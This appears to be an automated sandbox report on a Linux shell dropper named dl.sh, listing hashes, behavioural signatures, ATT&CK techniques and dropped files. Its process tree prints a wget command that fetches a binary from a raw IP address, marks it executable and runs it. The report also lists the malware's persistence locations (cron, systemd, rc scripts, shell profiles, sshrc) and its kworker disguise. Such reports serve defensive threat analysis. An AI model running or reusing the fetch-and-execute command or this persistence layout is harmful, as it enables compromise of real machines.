Analysis
- max time kernel
149s - max time network
149s - platform
ubuntu-18.04_amd64 - resource
ubuntu1804-amd64-20260513-en - resource tags
arch:amd64arch:i386image:ubuntu1804-amd64-20260513-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system - submitted
30/09/2026, 18:26
Static task
static1
Behavioral task
behavioral1
Sample
dl.sh
Resource
ubuntu1804-amd64-20260513-en
Behavioral task
behavioral2
Sample
dl.sh
Resource
debian9-armhf-20260513-en
Behavioral task
behavioral3
Sample
dl.sh
Resource
debian9-mipsbe-20260513-en
Behavioral task
behavioral4
Sample
dl.sh
Resource
debian9-mipsel-20260513-en
General
- Target dl.sh
- Size 967B
- Sample260930-w3prbseh69
- SHA256 80c037e588151489795c5b5f6d17e20a07b9fa49295effc521ec331116854079
- MD5 97d5f5d32b2e93afd4fd537990df15c5
- SHA1 e242eacf071f86c3f2b8e2bd144cb764862cf6b8
- SHA512 13bac270e2d3cf8bb46c7de2c3eb5a3e766cd8783ac17ca4c3d14e76c25297f5d1d693285588fe3879363bd899af5beb19c2fdfd1bb31170966bd83dde8ffc60
- TLSH T18C1157F1FC7180A5768C843AA69B01D676C26C7F50897E0A342FD8A66B5C298F09D273
- MD5 SHA1 SHA512 TLSH
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 2 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 1544 chmod 1555 chmod - Executes dropped EXE 2 IoCs
ioc pid Process /var/tmp/.xt 1545 dl.sh /var/tmp/w 1556 dl.sh - Creates/modifies Cron job 1 TTPs 3 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
description ioc Process File opened for modification /etc/cron.d/kworker w File opened for modification /etc/cron.hourly/kworker w File opened for modification /var/spool/cron/crontabs/root w - Creates/modifies environment variables 1 TTPs 5 IoCs
Creating/modifying environment variables is a common persistence mechanism.
description ioc Process File opened for modification /etc/bash.bashrc w File opened for modification /etc/profile.d/kworker.sh w File opened for modification /root/.bashrc w File opened for modification /root/.profile w File opened for modification /etc/profile w - Enumerates active TCP sockets 1 TTPs 1 IoCs
Gets active TCP sockets from /proc virtual filesystem.
description ioc Process File opened for reading /proc/net/tcp w - Enumerates running processes
Discovers information about currently running processes on the system
-
description ioc Process File opened for modification /etc/init.d/kworker w - Modifies rc script 2 TTPs 1 IoCs
Adding/modifying system rc scripts is a common persistence mechanism.
description ioc Process File opened for modification /etc/rc.local w - Modifies systemd 2 TTPs 1 IoCs
Adds/ modifies systemd service files. Likely to achieve persistence.
description ioc Process File opened for modification /etc/systemd/system/kworker.service w - Write file to user bin folder 4 IoCs
description ioc Process File opened for modification /usr/bin/.ps1556 w File opened for modification /usr/bin/.ps1559 w File opened for modification /usr/bin/ksoftirqd.1559.tmp w File opened for modification /usr/bin/ksoftirqd w - Modifies Bash startup script 2 TTPs 5 IoCs
description ioc Process File opened for modification /root/.bashrc w File opened for modification /root/.profile w File opened for modification /etc/profile w File opened for modification /etc/bash.bashrc w File opened for modification /etc/profile.d/kworker.sh w -
resource yara_rule behavioral1/files/fstream-4.dat upx - Changes its process name 2 IoCs
description ioc pid Process Changes the process name, possibly in an attempt to hide itself netifd 1559 w Changes the process name, possibly in an attempt to hide itself kworker 1561 w - Reads system network configuration 1 TTPs 2 IoCs
Uses contents of /proc filesystem to enumerate network settings.
description ioc Process File opened for reading /proc/net/tcp w File opened for reading /proc/net/tcp6 w - Enumerates kernel/hardware configuration 1 TTPs 25 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
description ioc Process File opened for reading /sys/fs/cgroup/devices w File opened for reading /sys/fs/cgroup/devices/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/bolt.service w File opened for reading /sys/fs/cgroup/devices/system.slice/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/whoopsie.service/cgroup.procs w File opened for reading /sys/fs/cgroup/perf_event/cgroup.procs w File opened for reading /sys/fs/cgroup/net_cls,net_prio w File opened for reading /sys/fs/cgroup/devices/user.slice/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/packagekit.service w File opened for reading /sys/fs/cgroup/devices/system.slice/packagekit.service/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/systemd-udevd.service w File opened for reading /sys/fs/cgroup w File opened for reading /sys/fs/cgroup/perf_event w File opened for reading /sys/fs/cgroup/hugetlb/cgroup.procs w File opened for reading /sys/fs/cgroup/net_cls,net_prio/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/user.slice w File opened for reading /sys/fs/cgroup/devices/system.slice/agent.service/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/bolt.service/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/whoopsie.service w File opened for reading /sys/fs/cgroup/hugetlb w File opened for reading /sys/fs/cgroup/devices/system.slice w File opened for reading /sys/fs/cgroup/devices/system.slice/agent.service w File opened for reading /sys/fs/cgroup/devices/system.slice/systemd-udevd.service/cgroup.procs w File opened for reading /sys/fs/cgroup/devices/system.slice/cron.service w File opened for reading /sys/fs/cgroup/devices/system.slice/cron.service/cgroup.procs w -
description ioc Process File opened for reading /proc/993/comm w File opened for reading /proc/15/stat w File opened for reading /proc/7/cmdline w File opened for reading /proc/12/cmdline w File opened for reading /proc/944/comm w File opened for reading /proc/1089/comm w File opened for reading /proc/1262/stat w File opened for reading /proc/1331/comm w File opened for reading /proc/16/mounts w File opened for reading /proc/473/stat w File opened for reading /proc/1424/mounts w File opened for reading /proc/3/mounts w File opened for reading /proc/78/comm w File opened for reading /proc/1020/mounts w File opened for reading /proc/1424/comm w File opened for reading /proc/322/stat w File opened for reading /proc/1266/comm w File opened for reading /proc/1349/comm w File opened for reading /proc/1369/stat w File opened for reading /proc/11/mounts w File opened for reading /proc/174/comm w File opened for reading /proc/176/mounts w File opened for reading /proc/176/cmdline w File opened for reading /proc/555/stat w File opened for reading /proc/1060/comm w File opened for reading /proc/89/mounts w File opened for reading /proc/484/comm w File opened for reading /proc/927/stat w File opened for reading /proc/1324/stat w File opened for reading /proc/1559/stat w File opened for reading /proc/14/stat w File opened for reading /proc/19/comm w File opened for reading /proc/183/cmdline w File opened for reading /proc/506/stat w File opened for reading /proc/473/mounts w File opened for reading /proc/1092/comm w File opened for reading /proc/1551/comm w File opened for reading /proc/27/comm w File opened for reading /proc/734/stat w File opened for reading /proc/996/mounts w File opened for reading /proc/181/mounts w File opened for reading /proc/629/mounts w File opened for reading /proc/990/comm w File opened for reading /proc/1077/stat w File opened for reading /proc/1537/stat w File opened for reading /proc/31/mounts w File opened for reading /proc/86/stat w File opened for reading /proc/9/mounts w File opened for reading /proc/23/cmdline w File opened for reading /proc/26/cmdline w File opened for reading /proc/84/stat w File opened for reading /proc/175/mounts w File opened for reading /proc/176/stat w File opened for reading /proc/188/mounts w File opened for reading /proc/213/cmdline w File opened for reading /proc/188/cmdline w File opened for reading /proc/949/mounts w File opened for reading /proc/1111/stat w File opened for reading /proc/1272/stat w File opened for reading /proc/24/stat w File opened for reading /proc/1182/mounts w File opened for reading /proc/8/comm w File opened for reading /proc/30/stat w File opened for reading /proc/425/mounts w - Writes file to tmp directory 4 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/wife.lock w File opened for modification /tmp/wife.pid w File opened for modification /tmp/.kw1559 w File opened for modification /tmp/.kwlog w
Processes
-
/tmp/dl.sh/tmp/dl.sh1⤵
- Executes dropped EXE
PID:1540 -
/bin/unameuname -m2⤵PID:1543
-
-
/bin/chmodchmod +x .xt2⤵
- File and Directory Permissions Modification
PID:1544
-
-
/var/tmp/.xt./.xt2⤵PID:1545
-
-
/bin/rmrm -f .xt2⤵PID:1546
-
-
/bin/rmrm -f w2⤵PID:1547
-
-
/usr/bin/wgetwget -qO w http://23.95.228.20/wife.x86_642⤵PID:1548
-
-
/bin/chmodchmod +x w2⤵
- File and Directory Permissions Modification
PID:1555
-
-
/var/tmp/w./w2⤵
- Creates/modifies Cron job
- Creates/modifies environment variables
- Enumerates active TCP sockets
- Modifies init.d
- Modifies rc script
- Modifies systemd
- Write file to user bin folder
- Modifies Bash startup script
- Changes its process name
- Reads system network configuration
- Enumerates kernel/hardware configuration
- Reads runtime system information
- Writes file to tmp directory
PID:1556
-
-
/bin/rmrm -f w2⤵PID:1558
-
-
/bin/rmrm -f /tmp/dl.sh2⤵PID:1560
-
Network
MITRE ATT&CK Enterprise v16
Persistence
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Privilege Escalation
Boot or Logon Autostart Execution
4XDG Autostart Entries
1Boot or Logon Initialization Scripts
2RC Scripts
2Create or Modify System Process
1Systemd Service
1Event Triggered Execution
1Unix Shell Configuration Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Scheduled Task/Job
1Cron
1Defense Evasion
File and Directory Permissions Modification
1Linux and Mac File and Directory Permissions Modification
1Hijack Execution Flow
1Path Interception by PATH Environment Variable
1Replay Monitor
Loading Replay Monitor...
Downloads
- Path /etc/cron.d/kworker
- Size 113B
- SHA256 13f0acdbf55ce1f4cbe4bd66a713a6f2baf97893eccccf22f47dbda38e5206a5
- MD5 6ca0bf8a0e51fcf15d8df720fa19825a
- SHA1 5e90cb03d51696b375d01c199e04646e7b4c71fb
- SHA512 8d7b812e0f5b9e9b81841157c52a5dc27ce66c9830fba9279e628f286af0e73da2e847d45631f1a05c47532d2f5af1414ec3203f622bd75f195ddc0c44ee655d
- TLSH T1DEB01231B798682DFC50FCAB63011B6105C288600C7BBF50C0EF5422EE2D35B214401C
- MD5 SHA1 SHA512 TLSH
- Path /etc/cron.hourly/kworker
- Size 59B
- SHA256 3c4b5f0b1063049c971210ae2d5632494a04841b2d17f42e7dbaafffdb32d361
- MD5 21a662d6828886ee324d234650ba79cd
- SHA1 0c37584ea59a6bb50449e189fb32207074276a7a
- SHA512 ae17175b12599c0f0140987efe009fd44ab16bb3950ef76fed762fbac38ceaefc852829063af6dc7a8ca05b33a46a7354e8ad9e47a4bb6bbda8aca8c5b691e29
- TLSH T1F8A002B1B9184C12BC1958DDB506566198C2896128A67560C0C68856B57A34D3285619
- MD5 SHA1 SHA512 TLSH
- Path /etc/dhcp/dhclient-enter-hooks.d/kworker
- Size 75B
- SHA256 20dee1d5f755cef80a1d8fb6a589da294664c2880849a2c61b58a9e2fa916bc3
- MD5 c8096469658903ae4d5793de7de898ce
- SHA1 022b8edeaba39ad2c1cfed48ea036a0b9729239f
- SHA512 8eca1e0c5be5ba1474f4aac44d412bc8c605663bd004bdc904515c53b66c898a0e752e2a84416822862ec8f2c8744d1abd3420871bbafe67391b633a7a665cb7
- TLSH T1E5A02450F50D4C11FC0444C4700141105CC37C1104517510C4CD4401F035F043340714
- MD5 SHA1 SHA512 TLSH
- Path /etc/init.d/kworker
- Size 118B
- SHA256 eb5be8efa8827ad8257775ca199bd29fa4f20a1e4cc8a3e6d9dd381efbc20e4d
- MD5 62f8d9d931219eeea72fc127e8c0e30e
- SHA1 1f7f1c0eb3c8818cb18277be02b4104538c59f2b
- SHA512 efb8dafae8cd79d93fba03ab93f9caef59019a4a2df7951491dccaff4f605fe5c5f12edc27f5d441c443930603b1ca5423566bc8a193e678fd5aa973e51be216
- TLSH T199B02B40B80448216D0604C4511162020C41001300413814A6C541817B317062280A0C
- MD5 SHA1 SHA512 TLSH
- Path /etc/profile.d/kworker.sh
- Size 66B
- SHA256 afdf673e11a9cc7d0df7751150559fe51ca70d9498212fa8b5b59738e5c7e4f5
- MD5 38ffd0174fe30d451061c46b637751d2
- SHA1 a30d7dc3e47e93d0afababa34308ba0667120a44
- SHA512 1f9beeb9abc40403e41307c9f5ddc1c334007e090a7728e36341462e4a9b8fdfb0c66812b660fa7236e7ca33a45a3768f636224aa0de586afe18c2d1448d0a3d
- TLSH T119A02222B8080C02BC200CC8BA028E8208C3882308E33000C0CE8822B03A0080B80C08
- MD5 SHA1 SHA512 TLSH
- Path /etc/ssh/sshrc
- Size 65B
- SHA256 53896701c660762c02318d61d5040dfc445ed29d786a258e975cbc22c4215af5
- MD5 cbcf01edd90345363c3600892d32c7fd
- SHA1 964b8eb5e9d56a13927e87b8f1bd50eb962e0a50
- SHA512 f03bdabef9209449a1a56ffe9c8d4b13a71ca0b84828a08411f0f2bfd02cc48dd065502d1a6a6da3c94306f6f850aff7d83fbcfe1689e00c1935d06403654e34
- TLSH T10BA02220FA0C8C22B80008C8B00282000CC3BC2000A2B200C8CE8800B03A8080380A28
- MD5 SHA1 SHA512 TLSH
- Path /etc/systemd/system/kworker.service
- Size 219B
- SHA256 da117dd0b8c7f6f576abac1c412c7f120a47a7b1a182b72bdc7629a99d943d0d
- MD5 7b0066e6551910b55527b26af2b8d0aa
- SHA1 0b4a8783a577118d5290b240005b88b0d5221f0d
- SHA512 8b887c872b2de107cbfc7374859fedf7b69119afffb606cf183b9b7295688ff29f00174d35ca60c417e3eb669c776840d032f7ba9a65887cccef1d0c2073e7db
- TLSH T1F7D0A717BE212466C8660466DE725FC0485052444A8A65305FD5255B54F795680606DD
- MD5 SHA1 SHA512 TLSH
- Path /etc/update-motd.d/kworker
- Size 66B
- SHA256 c0dc3521aebc636e00344fb1eecd1511dcfa6a2d87a3f91f5de61ce6fa2945ef
- MD5 837c1f0b4aeae67d05d7c4caf332bc90
- SHA1 5bc1139a6668393644b02f7c0684a0b518eb7c7a
- SHA512 c18650e62c06267eb806204f3565d0ce78d29bed739e04cc2b9350b3c27090b43a54873def5c4e9f10a2573566c872581626c674d6c7467c9b4492204b952f92
- TLSH T1F7A022B0F8280C22BC0A08CCB0020B3288C288A028A2B020C0E38802B03A38C32C0B08
- MD5 SHA1 SHA512 TLSH
- Path /tmp/.kwlog
- Size 329B
- SHA256 8b35d4c3dae5e90d0a133714d0cfa9b059aae6ffb3d993b76dff5613f19e5818
- MD5 8363ac37b9760185030276b7d70270f2
- SHA1 f7f770418f18e6080060c289daad6565c9c4e851
- SHA512 7eb1bcbdbffabb492965cd2cabcfba30130d4a041375184ff602e3b12bff96d952807e044d150197a2b98d8855fc9ad05791a14ba451b129d73d2635af4c56ab
- TLSH T196E0ECC030A3C4C70E7D9E5E86BDC324A4B372892568AFC6085AFD3EA2AF4C15B515C5
- MD5 SHA1 SHA512 TLSH
- Path /tmp/wife.lock
- Size 5B
- SHA256 f1d1cffb33081b7928c59c3197b56269dec4279505d063caa3339df17a337ea3
- MD5 8d29ce649373eb4aebfd30b16ce332a0
- SHA1 18efe17c04d6e781ce731a5220db8ca2c4f4a24e
- SHA512 5f4cc174a42df64023f14c479f3c4c92f54432c8c2b70283fb539172d6b127fbfa2f34220300069356ed88bde8610819a05fe8f02208bf717f934413cbaea5a1
- MD5 SHA1 SHA512
- Path /var/spool/cron/crontabs/root
- Size 62B
- SHA256 d6c191645f68f9681590f97c09b444992ed52f693c046c877e19a70e22a77ab1
- MD5 a9828bb1a4dbd12787afe9d8f9a9711b
- SHA1 f8782c83865424df137b23106d9228660a577c97
- SHA512 079e75eedde5ce5b2234b366faa18c783fa4cf57047249c7f2d40055c12767484f81bbc1caa486ffbd8aff52df509b29293a6ae26c844ed955ab6a041266c156
- TLSH T124A00271BD1C4C12B81548B9B507964298C7896104EA7550C0CF9855757E34B138451C
- MD5 SHA1 SHA512 TLSH
- Path /var/tmp/.xt
- Size 10B
- SHA256 a8076d3d28d21e02012b20eaf7dbf75409a6277134439025f282e368e3305abf
- MD5 3e2b31c72181b87149ff995e7202c0e3
- SHA1 bd971bec88149956458a10fc9c5ecb3eb99dd452
- SHA512 543f39af1ae7a2382ed869cbd1ee1ac598a88eb4e213cd64487c54b5c37722c6207ee6db4fa7e2ed53064259a44115c6da7bbc8c068378bb52a25e7088eeebd6
- MD5 SHA1 SHA512
- Path /var/tmp/.xt
- Size 17B
- SHA256 306c6ca7407560340797866e077e053627ad409277d1b9da58106fce4cf717cb
- MD5 33e4fd94e2560e008e2c3b431d0e3419
- SHA1 504519c842b7202250315ef562069e4ce10da99c
- SHA512 69f097faa9ccb981e78c3a914ad68a51771637d9aecd2dbc807003ac30663e6d921091a48ff529dfff27a6cd55b0808f91683118acf7acdf406d37266e622b17
- MD5 SHA1 SHA512
- Path /var/tmp/w
- Size 77KB
- SHA256 c74431bc2226f14650109f67068793b543ff47e9dfac808e9caf8d2ceae02fd2
- MD5 ba7c90875cf3b55db2720aa0c8baa269
- SHA1 396745ad2c878112cde8eb41ed2bd294ee6c1a74
- SHA512 00d252e544c22f7646d0623a3a504b0ded47dba287daaf0f788a9e9639e5723dfdcc30857fbcc6956d93e287bf21973b93677c59cd63befd9af01f86570ec975
- SSDEEP 1536:Adqw8wWPhsqhPE7FNoeNpssfDvx4zpb7davX2NybQDMocRCWC4mUpKq:QqwcPhnGoenDQpb7dy2O8U0q
- TLSH T1857302A2414DE9FCCA137630728E76E5D333A946C64E434B96CE51BA8CF4EAC6C3065D
- MD5 SHA1 SHA512 SSDEEP TLSH